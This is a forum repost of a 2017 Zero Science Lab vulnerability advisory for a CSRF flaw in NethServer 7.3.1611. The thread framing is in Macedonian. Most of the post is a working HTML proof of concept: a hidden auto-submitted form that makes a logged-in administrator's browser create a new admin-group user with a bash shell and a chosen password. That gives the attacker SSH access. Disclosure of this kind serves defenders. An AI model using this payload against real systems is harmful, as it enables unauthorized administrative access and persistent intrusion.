NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

Дискусија во форумот 'Ранливости // Експлоити // Закрпи' започната од zeroscience, 29 Август 2017.

  1. zeroscience

    zeroscience ZSL Bot v4.89.1.00

    502
    492
    31 Мај 2010
    Код:
    <!--
    
    NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access
    
    
    Vendor: NethServer.org
    Product web page: https://www.nethserver.org
    Affected version: 7.3.1611-u1-x86_64
    
    Summary: NethServer is an operating system for the Linux
    enthusiast, designed for small offices and medium enterprises.
    It's simple, secure and flexible.
    
    Desc: The application interface allows users to perform certain
    actions via HTTP requests without performing any validity checks
    to verify the requests. This can be exploited to perform certain
    actions with administrative privileges if a logged-in user visits
    a malicious web site.
    
    Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
               CentOS Linux 7.3.1611 (Core)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2017-5433
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php
    
    
    16.08.2017
    
    -->
    
    
    HTML Decoded PoC:
    
    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
          <input type="hidden" name="Account[User][create][username]" value="Blabla" />
          <input type="hidden" name="Account[User][create][gecos]" value="Test1" />
          <input type="hidden" name="Account[User][create][groups]" value="" />
          <input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" />
          <input type="hidden" name="Account[User][create][expires]" value="no" />
          <input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" />
          <input type="hidden" name="Account[User][create][shell]" value="/bin/bash" />
          <input type="hidden" name="Account[User][create][setPassword]" value="disabled" />
          <input type="hidden" name="Account[User][create][setPassword]" value="enabled" />
          <input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" />
          <input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" />
          <input type="hidden" name="Account[User][create][Submit]" value="Submit" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    



    Zero Science Lab » NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access
     

Сподели